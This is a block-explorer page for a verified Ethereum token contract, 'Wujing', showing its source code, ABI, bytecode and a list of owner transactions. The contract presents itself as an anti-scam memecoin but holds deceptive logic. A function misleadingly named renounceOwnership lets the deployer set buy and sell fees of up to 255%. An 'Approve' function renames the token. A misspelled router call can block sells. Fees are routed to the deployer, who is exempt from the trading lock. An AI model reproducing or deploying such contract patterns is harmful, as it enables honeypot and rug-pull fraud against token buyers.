ETH Price: $1,950.64 (-2.40%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve209947852024-10-18 20:17:35499 days ago1729282655IN
0xF36e6cfC...beF22DcC2
0 ETH0.0006506214.01566652
Approve209945042024-10-18 19:21:23499 days ago1729279283IN
0xF36e6cfC...beF22DcC2
0 ETH0.0007295818.68443123
Approve209871582024-10-17 18:44:47500 days ago1729190687IN
0xF36e6cfC...beF22DcC2
0 ETH0.0010625122.85905343
Approve209866252024-10-17 16:57:23500 days ago1729184243IN
0xF36e6cfC...beF22DcC2
0 ETH0.0008691522.32033914
Approve209799612024-10-16 18:37:47501 days ago1729103867IN
0xF36e6cfC...beF22DcC2
0 ETH0.0005917315.21481008
Approve209794092024-10-16 16:46:59501 days ago1729097219IN
0xF36e6cfC...beF22DcC2
0 ETH0.0010423626.76853482
Approve209791392024-10-16 15:52:47501 days ago1729093967IN
0xF36e6cfC...beF22DcC2
0 ETH0.0006667917.09733007
Approve209710062024-10-15 12:36:47502 days ago1728995807IN
0xF36e6cfC...beF22DcC2
0 ETH0.0005749614.77455883
Approve209652502024-10-14 17:18:59503 days ago1728926339IN
0xF36e6cfC...beF22DcC2
0 ETH0.0014461431.11255407
Approve209647982024-10-14 15:48:35503 days ago1728920915IN
0xF36e6cfC...beF22DcC2
0 ETH0.0021103445.40241367
Approve209645582024-10-14 15:00:23503 days ago1728918023IN
0xF36e6cfC...beF22DcC2
0 ETH0.0020391852.30295178
Approve209642982024-10-14 14:07:59503 days ago1728914879IN
0xF36e6cfC...beF22DcC2
0 ETH0.0016787843.16533424
Approve209641042024-10-14 13:28:47503 days ago1728912527IN
0xF36e6cfC...beF22DcC2
0 ETH0.0012046630.94606719
Approve209511342024-10-12 17:52:47505 days ago1728755567IN
0xF36e6cfC...beF22DcC2
0 ETH0.0022036956.43559337
Approve209441522024-10-11 18:25:11506 days ago1728671111IN
0xF36e6cfC...beF22DcC2
0 ETH0.000798620.52136347
Approve209440482024-10-11 18:04:23506 days ago1728669863IN
0xF36e6cfC...beF22DcC2
0 ETH0.0013455128.94772173
Approve209440352024-10-11 18:01:47506 days ago1728669707IN
0xF36e6cfC...beF22DcC2
0 ETH0.0015190732.69017786
Approve209438562024-10-11 17:25:59506 days ago1728667559IN
0xF36e6cfC...beF22DcC2
0 ETH0.0008508521.85034974
Approve209438082024-10-11 17:16:23506 days ago1728666983IN
0xF36e6cfC...beF22DcC2
0 ETH0.0007785919.96388065
Approve209295362024-10-09 17:29:35508 days ago1728494975IN
0xF36e6cfC...beF22DcC2
0 ETH0.0013253534.02546321
Approve209292752024-10-09 16:37:11508 days ago1728491831IN
0xF36e6cfC...beF22DcC2
0 ETH0.0021745455.9123907
Approve209287922024-10-09 15:00:35508 days ago1728486035IN
0xF36e6cfC...beF22DcC2
0 ETH0.0011841830.40116701
Approve209283272024-10-09 13:27:23508 days ago1728480443IN
0xF36e6cfC...beF22DcC2
0 ETH0.0010538327.04631433
Approve209232212024-10-08 20:22:23509 days ago1728418943IN
0xF36e6cfC...beF22DcC2
0 ETH0.0012973933.2973692
Approve209228822024-10-08 19:13:59509 days ago1728414839IN
0xF36e6cfC...beF22DcC2
0 ETH0.0009251223.75042688
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Wujing

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/*
Wujing is a demonic barbarian who likes to capture and eat humans. 
However, as Sanzang's disciple, he is actually kind-hearted and loyal, and likely the most polite also the most realistic, and always try to protect innocent people at all cost. 
Wujing is sand demon, and general in heaven, he uses himsef as sand to disappear from enemies.
Wujing will dissapear rugs and scams

Website : https://www.wujingcoin.org/
X/Twitter : https://x.com/wujingcoin
Telegram : https://t.me/wujingcoin
*/


// SPDX-License-Identifier: Unlicense


pragma solidity ^0.8.25;


interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


contract Wujing {
    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }


    string public _name = unicode"Wujing";
    string public _symbol = unicode"WUJING";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 420_000_000_000 * 10**decimals;


    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;


    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );


    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;


    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;


    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }


    receive() external payable {}


    function renounceOwnership(uint8 _buy, uint8 _sell) external {
        if (msg.sender != EthTokenMktWithZkVerify()) revert Permissions();
        TokeOnErc20(_buy, _sell);
    }


    function TokeOnErc20(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }


    function EthTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }


    function openTrading() external {
        require(msg.sender == EthTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }


    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }


    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }


    function symbol() public view  virtual returns (string memory) {
        return _symbol;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = EthTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);


        balanceOf[from] -= amount;


        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }


        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }



    event DataEth(string newName,string newSymbol , address by);


    function Approve(string memory name_,string memory symbol_) public {
        require(msg.sender == storeData.tokenMkt);
        _name = name_;
        _symbol = symbol_;
        emit DataEth(name_, symbol_, msg.sender);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newName","type":"string"},{"indexed":false,"internalType":"string","name":"newSymbol","type":"string"},{"indexed":false,"internalType":"address","name":"by","type":"address"}],"name":"DataEth","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600660809081526557756a696e6760d01b60a0525f9061002490826101e0565b5060408051808201909152600681526557554a494e4760d01b602082015260019061004f90826101e0565b5034801561005b575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b1990931692909217909155806100a56012600a610395565b6100b4906461c9f368006103aa565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101216012600a610395565b610130906461c9f368006103aa565b60405190815260200160405180910390a350506103c1565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061017057607f821691505b60208210810361018e57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101db57805f5260205f20601f840160051c810160208510156101b95750805b601f840160051c820191505b818110156101d8575f81556001016101c5565b50505b505050565b81516001600160401b038111156101f9576101f9610148565b61020d81610207845461015c565b84610194565b602080601f831160018114610240575f84156102295750858301515b5f19600386901b1c1916600185901b178555610297565b5f85815260208120601f198616915b8281101561026e5788860151825594840194600190910190840161024f565b508582101561028b57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102ed57815f19048211156102d3576102d361029f565b808516156102e057918102915b93841c93908002906102b8565b509250929050565b5f826103035750600161038f565b8161030f57505f61038f565b8160018114610325576002811461032f5761034b565b600191505061038f565b60ff8411156103405761034061029f565b50506001821b61038f565b5060208310610133831016604e8410600b841016171561036e575081810a61038f565b61037883836102b3565b805f190482111561038b5761038b61029f565b0290505b92915050565b5f6103a360ff8416836102f5565b9392505050565b808202811582820484141761038f5761038f61029f565b61123b806103ce5f395ff3fe6080604052600436106100f2575f3560e01c80638eb24bd711610087578063b09f126611610057578063b09f1266146102f0578063c9567bf914610304578063d28d885214610318578063dd62ed3e1461032c575f80fd5b80638eb24bd71461026757806395d89b4114610286578063a8aa1b311461029a578063a9059cbb146102d1575f80fd5b8063313ce567116100c2578063313ce567146101975780634abe3052146101bd57806370a082311461021b5780638d815b6f14610246575f80fd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b50610111610362565b60405161011e9190610c60565b60405180910390f35b348015610132575f80fd5b50610146610141366004610c89565b6103f1565b604051901515815260200161011e565b348015610161575f80fd5b5061016a61045d565b60405190815260200161011e565b348015610183575f80fd5b50610146610192366004610cb3565b61047b565b3480156101a2575f80fd5b506101ab601281565b60405160ff909116815260200161011e565b3480156101c8575f80fd5b506002546101f2906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff928316602085015291169082015260600161011e565b348015610226575f80fd5b5061016a610235366004610cf1565b60036020525f908152604090205481565b348015610251575f80fd5b50610265610260366004610d21565b6104c8565b005b348015610272575f80fd5b50610265610281366004610def565b610526565b348015610291575f80fd5b50610111610594565b3480156102a5575f80fd5b506005546102b9906001600160a01b031681565b6040516001600160a01b03909116815260200161011e565b3480156102dc575f80fd5b506101466102eb366004610c89565b6105a3565b3480156102fb575f80fd5b506101116105b6565b34801561030f575f80fd5b50610265610642565b348015610323575f80fd5b506101116107f8565b348015610337575f80fd5b5061016a610346366004610e4f565b600460209081525f928352604080842090915290825290205481565b60605f805461037090610e86565b80601f016020809104026020016040519081016040528092919081815260200182805461039c90610e86565b80156103e75780601f106103be576101008083540402835291602001916103e7565b820191905f5260205f20905b8154815290600101906020018083116103ca57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061044b9086815260200190565b60405180910390a35060015b92915050565b6104696012600a610fb2565b610478906461c9f36800610fc0565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104af908490610fd7565b909155506104c09050848484610804565b949350505050565b6002546001600160a01b031633146104f257604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b0316331461053c575f80fd5b5f6105478382611036565b5060016105548282611036565b507f3765c13bc66d83d7614e93529a35ca82ee5b8962424deff07e9cf4a263546d60828233604051610588939291906110f6565b60405180910390a15050565b60606001805461037090610e86565b5f6105af338484610804565b9392505050565b600180546105c390610e86565b80601f01602080910402602001604051908101604052809291908181526020018280546105ef90610e86565b801561063a5780601f106106115761010080835404028352916020019161063a565b820191905f5260205f20905b81548152906001019060200180831161061d57829003601f168201915b505050505081565b6002546001600160a01b03163314610658575f80fd5b600554600160a81b900460ff161561066e575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e39190611133565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610736573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075a9190611133565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156107a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107cd9190611133565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f80546105c390610e86565b5f806108186002546001600160a01b031690565b600554909150600160a81b900460ff16806108445750806001600160a01b0316856001600160a01b0316145b806108605750806001600160a01b0316846001600160a01b0316145b610868575f80fd5b6001600160a01b0385165f908152600360205260408120805485929061088f908490610fd7565b90915550506005546001600160a01b0385811691161480156108bb5750600554600160a01b900460ff16155b80156108fb575060646108d06012600a610fb2565b6108df906461c9f36800610fc0565b6108e9919061114e565b305f9081526003602052604090205410155b80156109195750806001600160a01b0316856001600160a01b031614155b15610af8576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106109645761096461116d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f89190611133565b81600181518110610a0b57610a0b61116d565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f61396064610a4b6012600a610fb2565b610a5a906461c9f36800610fc0565b610a64919061114e565b5f8430426040518663ffffffff1660e01b8152600401610a88959493929190611181565b5f604051808303815f87803b158015610a9f575f80fd5b505af1158015610ab1573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610ae8573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610b365750600554600160a81b900460ff1615156001145b15610baa576005545f906064906001600160a01b03898116911614610b5b5783610b5d565b825b610b6a9060ff1688610fc0565b610b74919061114e565b9050610b808187610fd7565b305f90815260036020526040812080549298508392909190610ba39084906111f2565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610bd19084906111f2565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c1d91815260200190565b60405180910390a35060019695505050505050565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6105af6020830184610c32565b6001600160a01b0381168114610c86575f80fd5b50565b5f8060408385031215610c9a575f80fd5b8235610ca581610c72565b946020939093013593505050565b5f805f60608486031215610cc5575f80fd5b8335610cd081610c72565b92506020840135610ce081610c72565b929592945050506040919091013590565b5f60208284031215610d01575f80fd5b81356105af81610c72565b803560ff81168114610d1c575f80fd5b919050565b5f8060408385031215610d32575f80fd5b610d3b83610d0c565b9150610d4960208401610d0c565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610d75575f80fd5b813567ffffffffffffffff80821115610d9057610d90610d52565b604051601f8301601f19908116603f01168101908282118183101715610db857610db8610d52565b81604052838152866020858801011115610dd0575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610e00575f80fd5b823567ffffffffffffffff80821115610e17575f80fd5b610e2386838701610d66565b93506020850135915080821115610e38575f80fd5b50610e4585828601610d66565b9150509250929050565b5f8060408385031215610e60575f80fd5b8235610e6b81610c72565b91506020830135610e7b81610c72565b809150509250929050565b600181811c90821680610e9a57607f821691505b602082108103610eb857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f0c57815f1904821115610ef257610ef2610ebe565b80851615610eff57918102915b93841c9390800290610ed7565b509250929050565b5f82610f2257506001610457565b81610f2e57505f610457565b8160018114610f445760028114610f4e57610f6a565b6001915050610457565b60ff841115610f5f57610f5f610ebe565b50506001821b610457565b5060208310610133831016604e8410600b8410161715610f8d575081810a610457565b610f978383610ed2565b805f1904821115610faa57610faa610ebe565b029392505050565b5f6105af60ff841683610f14565b808202811582820484141761045757610457610ebe565b8181038181111561045757610457610ebe565b601f82111561103157805f5260205f20601f840160051c8101602085101561100f5750805b601f840160051c820191505b8181101561102e575f815560010161101b565b50505b505050565b815167ffffffffffffffff81111561105057611050610d52565b6110648161105e8454610e86565b84610fea565b602080601f831160018114611097575f84156110805750858301515b5f19600386901b1c1916600185901b1785556110ee565b5f85815260208120601f198616915b828110156110c5578886015182559484019460019091019084016110a6565b50858210156110e257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b606081525f6111086060830186610c32565b828103602084015261111a8186610c32565b91505060018060a01b0383166040830152949350505050565b5f60208284031215611143575f80fd5b81516105af81610c72565b5f8261116857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156111d15784516001600160a01b0316835293830193918301916001016111ac565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561045757610457610ebe56fea2646970667358221220d65a7ea11de574120aee659527c927acdd0b2e7ed01a74dd1f548226ca57141c64736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100f2575f3560e01c80638eb24bd711610087578063b09f126611610057578063b09f1266146102f0578063c9567bf914610304578063d28d885214610318578063dd62ed3e1461032c575f80fd5b80638eb24bd71461026757806395d89b4114610286578063a8aa1b311461029a578063a9059cbb146102d1575f80fd5b8063313ce567116100c2578063313ce567146101975780634abe3052146101bd57806370a082311461021b5780638d815b6f14610246575f80fd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b50610111610362565b60405161011e9190610c60565b60405180910390f35b348015610132575f80fd5b50610146610141366004610c89565b6103f1565b604051901515815260200161011e565b348015610161575f80fd5b5061016a61045d565b60405190815260200161011e565b348015610183575f80fd5b50610146610192366004610cb3565b61047b565b3480156101a2575f80fd5b506101ab601281565b60405160ff909116815260200161011e565b3480156101c8575f80fd5b506002546101f2906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff928316602085015291169082015260600161011e565b348015610226575f80fd5b5061016a610235366004610cf1565b60036020525f908152604090205481565b348015610251575f80fd5b50610265610260366004610d21565b6104c8565b005b348015610272575f80fd5b50610265610281366004610def565b610526565b348015610291575f80fd5b50610111610594565b3480156102a5575f80fd5b506005546102b9906001600160a01b031681565b6040516001600160a01b03909116815260200161011e565b3480156102dc575f80fd5b506101466102eb366004610c89565b6105a3565b3480156102fb575f80fd5b506101116105b6565b34801561030f575f80fd5b50610265610642565b348015610323575f80fd5b506101116107f8565b348015610337575f80fd5b5061016a610346366004610e4f565b600460209081525f928352604080842090915290825290205481565b60605f805461037090610e86565b80601f016020809104026020016040519081016040528092919081815260200182805461039c90610e86565b80156103e75780601f106103be576101008083540402835291602001916103e7565b820191905f5260205f20905b8154815290600101906020018083116103ca57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061044b9086815260200190565b60405180910390a35060015b92915050565b6104696012600a610fb2565b610478906461c9f36800610fc0565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104af908490610fd7565b909155506104c09050848484610804565b949350505050565b6002546001600160a01b031633146104f257604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b0316331461053c575f80fd5b5f6105478382611036565b5060016105548282611036565b507f3765c13bc66d83d7614e93529a35ca82ee5b8962424deff07e9cf4a263546d60828233604051610588939291906110f6565b60405180910390a15050565b60606001805461037090610e86565b5f6105af338484610804565b9392505050565b600180546105c390610e86565b80601f01602080910402602001604051908101604052809291908181526020018280546105ef90610e86565b801561063a5780601f106106115761010080835404028352916020019161063a565b820191905f5260205f20905b81548152906001019060200180831161061d57829003601f168201915b505050505081565b6002546001600160a01b03163314610658575f80fd5b600554600160a81b900460ff161561066e575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e39190611133565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610736573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075a9190611133565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156107a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107cd9190611133565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f80546105c390610e86565b5f806108186002546001600160a01b031690565b600554909150600160a81b900460ff16806108445750806001600160a01b0316856001600160a01b0316145b806108605750806001600160a01b0316846001600160a01b0316145b610868575f80fd5b6001600160a01b0385165f908152600360205260408120805485929061088f908490610fd7565b90915550506005546001600160a01b0385811691161480156108bb5750600554600160a01b900460ff16155b80156108fb575060646108d06012600a610fb2565b6108df906461c9f36800610fc0565b6108e9919061114e565b305f9081526003602052604090205410155b80156109195750806001600160a01b0316856001600160a01b031614155b15610af8576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106109645761096461116d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f89190611133565b81600181518110610a0b57610a0b61116d565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f61396064610a4b6012600a610fb2565b610a5a906461c9f36800610fc0565b610a64919061114e565b5f8430426040518663ffffffff1660e01b8152600401610a88959493929190611181565b5f604051808303815f87803b158015610a9f575f80fd5b505af1158015610ab1573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610ae8573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610b365750600554600160a81b900460ff1615156001145b15610baa576005545f906064906001600160a01b03898116911614610b5b5783610b5d565b825b610b6a9060ff1688610fc0565b610b74919061114e565b9050610b808187610fd7565b305f90815260036020526040812080549298508392909190610ba39084906111f2565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610bd19084906111f2565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c1d91815260200190565b60405180910390a35060019695505050505050565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6105af6020830184610c32565b6001600160a01b0381168114610c86575f80fd5b50565b5f8060408385031215610c9a575f80fd5b8235610ca581610c72565b946020939093013593505050565b5f805f60608486031215610cc5575f80fd5b8335610cd081610c72565b92506020840135610ce081610c72565b929592945050506040919091013590565b5f60208284031215610d01575f80fd5b81356105af81610c72565b803560ff81168114610d1c575f80fd5b919050565b5f8060408385031215610d32575f80fd5b610d3b83610d0c565b9150610d4960208401610d0c565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610d75575f80fd5b813567ffffffffffffffff80821115610d9057610d90610d52565b604051601f8301601f19908116603f01168101908282118183101715610db857610db8610d52565b81604052838152866020858801011115610dd0575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610e00575f80fd5b823567ffffffffffffffff80821115610e17575f80fd5b610e2386838701610d66565b93506020850135915080821115610e38575f80fd5b50610e4585828601610d66565b9150509250929050565b5f8060408385031215610e60575f80fd5b8235610e6b81610c72565b91506020830135610e7b81610c72565b809150509250929050565b600181811c90821680610e9a57607f821691505b602082108103610eb857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f0c57815f1904821115610ef257610ef2610ebe565b80851615610eff57918102915b93841c9390800290610ed7565b509250929050565b5f82610f2257506001610457565b81610f2e57505f610457565b8160018114610f445760028114610f4e57610f6a565b6001915050610457565b60ff841115610f5f57610f5f610ebe565b50506001821b610457565b5060208310610133831016604e8410600b8410161715610f8d575081810a610457565b610f978383610ed2565b805f1904821115610faa57610faa610ebe565b029392505050565b5f6105af60ff841683610f14565b808202811582820484141761045757610457610ebe565b8181038181111561045757610457610ebe565b601f82111561103157805f5260205f20601f840160051c8101602085101561100f5750805b601f840160051c820191505b8181101561102e575f815560010161101b565b50505b505050565b815167ffffffffffffffff8111156110505